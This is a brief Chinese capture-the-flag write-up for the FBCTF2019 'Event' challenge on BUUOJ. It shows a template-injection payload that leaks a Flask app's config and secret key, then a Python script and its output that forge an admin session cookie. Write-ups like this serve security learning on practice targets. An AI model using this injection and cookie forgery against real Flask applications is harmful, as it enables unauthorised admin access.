题目地址:https://buuoj.cn/challenges#[FBCTF2019]Event
模版注入+Cookie伪造
Cookie:Im1vY2h1Ig.XyDM5A.RIObE23_pwucPR7ZAVNsm_cOwpU
加密方式未知,密钥未知
在提交数据的时候,有三个可控参数,经测试在event_important
参数存在模版注入,输入__dict__
,发现成功回显
接着查找配置文件:__class__.__init__.__globals__[app].config
发现密钥,开始伪造Cookie
from flask import Flask
from flask.sessions import SecureCookieSessionInterface
app = Flask(__name__)
app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'
session_serializer = SecureCookieSessionInterface().get_signing_serializer(app)
@app.route('/')
def index():
print(session_serializer.dumps("admin"))
index()
PS C:\Users\Administrator\Desktop> python .\exp.py
ImFkbWluIg.XyDKIw.wlPGRJ52VIGmXV5buLQ9-h-wt8w
将生成的Cookie替换user
中的Cookie然后访问Admin panel